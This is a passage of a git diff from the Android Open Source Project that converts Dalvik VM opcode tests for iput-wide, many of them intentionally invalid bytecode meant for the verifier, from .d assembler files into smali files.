+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_21.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_21;
+.super  Ljava/lang/Object;
+
+.field public  st_c:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const-wide v0, 12    
+       iput-wide v0, v3, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_21;->st_c:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_22.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_22.d
deleted file mode 100644
index 80a827d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_22.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_wide_22.java
-.class public dot.junit.opcodes.iput_wide.d.T_iput_wide_22
-.super java/lang/Object
-
-.field public  st_i I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const-wide v0, 1    
-       iput-wide v0, v3, dot.junit.opcodes.iput_wide.d.T_iput_wide_22.st_i I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_22.smali
new file mode 100644
index 0000000..edcffcd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_22.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_22.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_22;
+.super  Ljava/lang/Object;
+
+.field public  st_i:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const-wide v0, 1    
+       iput-wide v0, v3, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_22;->st_i:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_23.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_23.d
deleted file mode 100644
index d37bbd0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_23.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_wide_23.java
-.class public dot.junit.opcodes.iput_wide.d.T_iput_wide_23
-.super java/lang/Object
-
-.field public  st_b B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const-wide v0, 1    
-       iput-wide v0, v3, dot.junit.opcodes.iput_wide.d.T_iput_wide_23.st_b B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_23.smali
new file mode 100644
index 0000000..3ad064b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_23.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_23.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_23;
+.super  Ljava/lang/Object;
+
+.field public  st_b:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const-wide v0, 1    
+       iput-wide v0, v3, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_23;->st_b:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_24.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_24.d
deleted file mode 100644
index 3f0102f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_24.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_wide_24.java
-.class public dot.junit.opcodes.iput_wide.d.T_iput_wide_24
-.super java/lang/Object
-
-.field public  st_z Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const-wide v0, 1    
-       iput-wide v0, v3, dot.junit.opcodes.iput_wide.d.T_iput_wide_24.st_z Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_24.smali
new file mode 100644
index 0000000..6e414bd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_24.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_24.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_24;
+.super  Ljava/lang/Object;
+
+.field public  st_z:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const-wide v0, 1    
+       iput-wide v0, v3, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_24;->st_z:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_3.d
deleted file mode 100644
index fc4dc02..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_3.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_wide_3.java
-.class public dot.junit.opcodes.iput_wide.d.T_iput_wide_3
-.super java/lang/Object
-
-.field public  st_i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v0, 1
-       iput-wide v0, v2, dot.junit.opcodes.iput_wide.d.T_iput_wide_3.st_i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_3.smali
new file mode 100644
index 0000000..5ad7a34
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_3.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_3.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_3;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 1
+       iput-wide v0, v2, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_3;->st_i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_30.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_30.d
deleted file mode 100644
index 9513dc8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_30.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_wide_30.java
-.class public dot.junit.opcodes.iput_wide.d.T_iput_wide_30
-.super java/lang/Object
-
-.field public  st_i1 J
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-    new-instance v0, dot/junit/opcodes/iput_wide/d/T_iput_wide_30
-    const-wide v1, 0
-    iput-wide v1, v0, dot.junit.opcodes.iput_wide.d.T_iput_wide_30.st_i1 J
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_30.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_30.smali
new file mode 100644
index 0000000..09201a4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_30.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_30.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_30;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+    new-instance v0, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_30;
+    const-wide v1, 0
+    iput-wide v1, v0, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_30;->st_i1:J
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_31.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_31.d
deleted file mode 100644
index 0e5e112..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_31.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2014 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_wide_31.java
-.class public dot.junit.opcodes.iput_wide.d.T_iput_wide_31
-.super java/lang/Object
-
-.field public  st_i1 J
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-    const-wide v1, 0
-    iput-wide v1, v0, dot.junit.opcodes.iput_wide.d.T_iput_wide_31.st_i1 J
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_31.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_31.smali
new file mode 100644
index 0000000..70605f3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_31.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_31.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_31;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+    const-wide v1, 0
+    iput-wide v1, v0, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_31;->st_i1:J
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_4.d
deleted file mode 100644
index 6036cc6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_wide_4.java
-.class public dot.junit.opcodes.iput_wide.d.T_iput_wide_4
-.super java/lang/Object
-
-.field public  st_i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iput-wide v3, v2, dot.junit.opcodes.iput_wide.d.T_iput_wide_4.st_i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_4.smali
new file mode 100644
index 0000000..c17fee3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_4.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_4;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iput-wide v3, v2, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_4;->st_i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_5.d
deleted file mode 100644
index 3c1d9ba..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_5.d
+++ /dev/null
@@ -1,38 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_wide_5.java
-.class public dot.junit.opcodes.iput_wide.d.T_iput_wide_5
-.super java/lang/Object
-
-.field public  st_i1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-
-.method public run()V
-.limit regs 3
-
-       const-wide v0, 0.5
-       iput-wide v0, v2, dot.junit.opcodes.iput_wide.d.T_iput_wide_5.st_i1 D
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_5.smali
new file mode 100644
index 0000000..35f88f3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_5.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_5.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_5;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 0.5
+       iput-wide v0, v2, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_5;->st_i1:D
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_6.d
deleted file mode 100644
index 31f4f12..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_6.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_wide_6.java
-.class public dot.junit.opcodes.iput_wide.d.T_iput_wide_6
-.super java/lang/Object
-
-.field public  st_i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v0, 1
-       iput-wide v0, v2, dot.junit.opcodes.iput_wide.d.T_iput_wide_6.st_i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_6.smali
new file mode 100644
index 0000000..646676f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_6.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_6.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_6;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 1
+       iput-wide v0, v2, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_6;->st_i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_7.d
deleted file mode 100644
index df5079c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_7.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_wide_7.java
-.class public dot.junit.opcodes.iput_wide.d.T_iput_wide_7
-.super java/lang/Object
-
-.field public static st_i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v0, 0
-       iput-wide v0, v2, dot.junit.opcodes.iput_wide.d.T_iput_wide_7.st_i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_7.smali
new file mode 100644
index 0000000..10f28ec
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_7.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_7.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_7;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 0
+       iput-wide v0, v2, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_7;->st_i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_8.d
deleted file mode 100644
index 12a0d92..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_8.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_wide_8.java
-.class public dot.junit.opcodes.iput_wide.d.T_iput_wide_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-       new-instance v0, Ldot/junit/opcodes/iput_wide/TestStubs;
-       invoke-direct {v0}, dot/junit/opcodes/iput_wide/TestStubs/<init>()V
-       
-       const-wide v1, 0
-       iput-wide v1, v0, dot.junit.opcodes.iput_wide.TestStubs.TestStubField J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_8.smali
new file mode 100644
index 0000000..1785856
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_8.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_8.java"
